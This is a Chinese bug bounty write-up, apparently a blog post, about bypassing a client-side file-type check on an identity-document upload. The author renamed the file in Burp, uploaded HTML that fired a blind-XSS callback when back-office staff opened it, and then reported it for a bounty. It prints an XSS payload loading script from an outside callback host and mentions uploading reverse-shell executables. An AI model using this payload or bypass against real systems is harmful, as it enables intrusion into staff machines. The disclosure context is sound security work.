分析目标
在参与厂商的众测项目之前，我会先去了解该项目的一些运行数据信息，如赏金范围和项目持续时间等，如果你觉得这样毫无必要的话，那么盲目地参与可能会与一些好项目擦肩而过。我参与这个项目就是个例子，我大约于2019年5月收到测试邀请，该项目自2016年就运行至今，有效漏洞提交量总共150多个。但不管怎样，我还是对其做了一番了解。之后，我又从其在HackerOne上的项目更新中看到，有一些新的服务端被陆续添加进入测试范围，并在测试策略（Policy）中具体描述了厂商对哪些漏洞比较感兴趣。
经验1：漏洞总是有的。前期的测试目标可能和新增测试目标一样存在很多漏洞。
了解目标
从HackerOne上的项目更新策略中可知，厂商对第三方合作伙伴Web应用网站partner.program.com的某子域名站点存在的漏洞较为关注。访问该子域名网站后，我发现它是一个允许用户注册成为厂商合作伙伴或附属机构的Web应用。通常我喜欢关注Web应用的访问授权功能，一般我会在Web应用中注册至少两个账户以备测试。因为两个账户可以方便地进行越权（IDOR）测试。在注册登录之后，我发现了其中一个有意思的地方：身份验证文件上传。
这就是使用该Web应用的第一步。由于目标厂商是一家商贸公司，合作伙伴和用户需要通过上传他们的**/***等证明来通过身份验证，才能开始使用Web应用。终于遇到对手了，我非常喜欢捣鼓文件上传功能了。
经验2：不要忽视一些看似正常的功能。比如搜索栏位置可能会存在一些“致命”的XSS或SQL注入漏洞，而1337名白帽都会把它忽视。
漏洞发现
以前我曾发现过一些文件上传功能漏洞，总结来说：需要认真分析其具体的上传机制，比如其限制属性有什么、规定上传文件格式有哪些，等等，一般这些都是问题所在。由于这是一个身份验证证明的上传功能点，所以通常会存在两种证明文件验证机制：要么其后台有一个自动程序来验证用户上传的证明文件，要么其后端有一个实际的工作人员来通过用户上传证明文件核对用户身份。该上传功能如下：
上图显示，Web应用后端只接收PNG、JPG、PDF或BMP格式文件，因此，我尝试上传了一些非可接受格式文件，看看后端服务的反应如何。但很遗憾，后端服务完全没反应。即使从Burp的请求历史中，也没有发现任何文件限制响应消息或相应的请求记录，我有点懵了。只是，如果上传有效的JPG文件（foobar.jpg）后，会产生以下样式的上传请求：
这是什么意思？
这貌似表示其中还有一种客户端校验措施，如果用Burp来拦截上传请求然后改包，很容易绕过这种客户端检查。比如，我们拦截上传请求，然后把请求修改如下，其中上传的JPG文件名被修改为了foorbar.foo：
执行这样的请求后，后端响应了请求成功，服务器成功创建文件的“201 Created”状态码，并返回响应了文件的上体id：
{"file_id":16xxxxx1}
这看似非常不错。但是我们上传的文件去了哪呢？回到Web应用中，却出问题了：
500
刷新文件上传页面后，却出现了惊喜，刚刚上传的文件出现在了待上传文件区，如下：
只不过它是后缀为.foo且文件名是一串哈希值的文件：34beduc…….3dfed.foo。如果再次上传同一个文件，其作为文件名的哈希值会再次发生变化，成为fd33d3f……38338999dee.foo这样子的。也就是说，文件后缀不会变，但文件名每次都会被哈希成新的值，所以，要想在后端服务器中来发现并执行该上传文件估计有点难度。那我们如何来对它进行漏洞利用呢？你会怎么做？
漏洞验证
我是这样考虑的，针对目标Web应用的后端环境，必须构造上传一种可被执行运行的文件。如果Web应用后端是一个工作人员来核对上传文件，那么会存在多种情况，他使用的是Linux、Windows还是Mac系统？不同的系统可能会对上传文件中的Payload造成影响。如果Web应用后端是自动验证程序，那至少我需要它能响应返回一些消息，我才能判断上传文件是否被执行了。所以，这样看来，还是有些麻烦。
之后，我想到了XSS Hunter。
如果你没用过XSS Hunter，请访问它的主页进行了解，它是一个Blind XSS利器，可实现一些隐蔽XSS的测试发现、反馈响应和监测管理。使用方式在于先注册XSS Hunter账号，通过注册xss.ht域名形成自己的短域yoursubdomain.xss.ht，用它实现Payload的识别和托管，然后构造XSS Payload如 “><script src=//yoursubdomain.xss.ht></script>植入目标应用中待受害者点击，如果该Payload被有效执行，其内置域名yoursubdomain.xss.ht的相关请求会被XSS Hunter探测到，之后，XSS Hunter会通过你的XSS Hunter注册预留邮箱给予你反馈提醒。
在我预想的上述后端验证环境中，HTML文件应该是最容易被执行的了， 所以我想到了用Burp抓包改包，并配合XSS Hunter来构造Payload，来尝试触发上传HTML文件的执行。该测试目的在于检测Web应用后端的文件验证机制是否存在XSS等代码可执行漏洞。我最终构造的请求如下，上传文件实体为HTML内容，先把它命名为.png图片格式，上传后，通过Burp抓包改包，再把它修改为后期可执行的.html格式：
改包后在文件待上传区显示的文件为：
然后执行上传即可，这是典型的客户端校验绕过姿势。
好戏是，两天之后，我收到了XSS Hunter的反馈提醒，提示我们的Payload被成功触发执行了3次：
看似我们HTML的Payload文件被目标Web应用后端的文件核实人员点击执行了，从XSS Hunter反馈回来的报告可看到一些受害者IP和User Agent等系统基本信息。
经验3：有多种方式去利用一个工具，但在某些场景下，需要有创新的想法去实现不可思议的点子。最好的工具其实是你的想法的视角。
获得赏金
无论上报方式是否正确，但能发现并利用漏洞已经是很好的了，同样我们也希望获得一定的赏金。可能有些人看到这里会觉得，这也不算什么大漏洞啊，只不过是让Web后端的文件核实人员执行了一个HTML文件啊，有什么了不起的啊？但这就是我要强调说明的地方。我在漏洞描述中是这样描写的：
如以上图中所示，攻击者只需构造特定文件，伪装为上传的JPEG图片文件，然后抓包改包，就可轻松绕过Web应用的客户端校验措施，实现任意文件上传。那么，从执行层面来说，至少可以说明，负责文件核实的Web应用后端人员或是自动程序，根本就没对攻击者上传文件的有效性执行检查，也不管扩展名是否为图片格式，就直接执行上传文件了。在这种情况之下，如果攻击者上传的是ELF或EXE格式的恶意程序文件，那非常容易导致远程代码执行，进一步造成入侵渗透。就比如攻击者可以上传一个反弹木马，待Web应用后端核实人员或程序运行之后，即可形成对内部系统的入侵控制。
还没有评论，来说两句吧...